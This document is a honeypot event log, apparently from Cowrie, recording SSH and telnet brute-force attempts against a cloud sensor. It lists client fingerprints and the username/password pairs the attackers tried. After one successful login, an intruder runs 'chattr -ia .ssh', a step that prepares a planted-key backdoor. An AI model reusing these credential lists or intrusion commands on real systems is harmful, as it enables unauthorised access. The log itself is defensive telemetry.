{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:21.230343Z","src_ip":"87.251.64.176","session":"64bf5381de67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:21.326849Z","src_ip":"87.251.64.176","session":"64bf5381de67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37200,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e38e00a80bf","protocol":"ssh","message":"New connection: 91.92.42.227:37200 (10.17.0.5:22) [session: 5e38e00a80bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:23.176060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:23.531292Z","src_ip":"91.92.42.227","session":"5e38e00a80bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:23.537254Z","src_ip":"91.92.42.227","session":"5e38e00a80bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:24.705238Z","src_ip":"91.92.42.227","session":"5e38e00a80bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:26.004896Z","src_ip":"91.92.42.227","session":"5e38e00a80bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57916,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9697d2073c2","protocol":"ssh","message":"New connection: 91.92.42.227:57916 (10.17.0.5:22) [session: b9697d2073c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:30.432878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:30.554776Z","src_ip":"91.92.42.227","session":"b9697d2073c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:30.558580Z","src_ip":"91.92.42.227","session":"b9697d2073c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:31.504601Z","src_ip":"91.92.42.227","session":"b9697d2073c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:32.988947Z","src_ip":"91.92.42.227","session":"b9697d2073c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56358,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e0d92fd8912","protocol":"ssh","message":"New connection: 91.92.42.227:56358 (10.17.0.5:22) [session: 3e0d92fd8912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:37.495889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:37.875297Z","src_ip":"91.92.42.227","session":"3e0d92fd8912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:37.881305Z","src_ip":"91.92.42.227","session":"3e0d92fd8912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:39.733348Z","src_ip":"91.92.42.227","session":"3e0d92fd8912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:41.685902Z","src_ip":"91.92.42.227","session":"3e0d92fd8912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56472,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b44867f3d56","protocol":"ssh","message":"New connection: 91.92.42.227:56472 (10.17.0.5:22) [session: 4b44867f3d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:43.904640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:44.523241Z","src_ip":"91.92.42.227","session":"4b44867f3d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:44.526051Z","src_ip":"91.92.42.227","session":"4b44867f3d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"123","message":"login attempt [odoo16/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:47.715474Z","src_ip":"91.92.42.227","session":"4b44867f3d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":52952,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbf368cd336d","protocol":"ssh","message":"New connection: 51.250.105.222:52952 (159.203.135.109:22) [session: fbf368cd336d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:48.924928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:48.930069Z","src_ip":"51.250.105.222","session":"fbf368cd336d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:49.063437Z","src_ip":"51.250.105.222","session":"fbf368cd336d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:49.223579Z","src_ip":"91.92.42.227","session":"4b44867f3d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:49.450803Z","src_ip":"51.250.105.222","session":"fbf368cd336d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:50.583143Z","src_ip":"51.250.105.222","session":"fbf368cd336d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36228,"dst_ip":"10.17.0.5","dst_port":23,"session":"7172558233ba","protocol":"telnet","message":"New connection: 172.81.62.90:36228 (10.17.0.5:23) [session: 7172558233ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:50.724509Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37660,"dst_ip":"10.17.0.5","dst_port":22,"session":"442b6dd23ed3","protocol":"ssh","message":"New connection: 91.92.42.227:37660 (10.17.0.5:22) [session: 442b6dd23ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:51.234341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:51.682237Z","src_ip":"91.92.42.227","session":"442b6dd23ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:51.690839Z","src_ip":"91.92.42.227","session":"442b6dd23ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1","message":"login attempt [cloud/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:54.390391Z","src_ip":"91.92.42.227","session":"442b6dd23ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:55.826025Z","src_ip":"91.92.42.227","session":"442b6dd23ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40283,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c510b16ce2","protocol":"ssh","message":"New connection: 168.167.228.74:40283 (159.203.135.109:22) [session: 25c510b16ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:58.629928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:58.634120Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:58.878486Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55786,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a1882c33bf5","protocol":"ssh","message":"New connection: 91.92.42.227:55786 (10.17.0.5:22) [session: 6a1882c33bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:59.347480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:59.357062Z","src_ip":"91.92.42.227","session":"6a1882c33bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:59.433633Z","src_ip":"91.92.42.227","session":"6a1882c33bf5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"qwe123","message":"login attempt [steam/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:59.891759Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:59.926868Z","src_ip":"91.92.42.227","session":"6a1882c33bf5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:00.437365Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:00.440527Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:00.444200Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
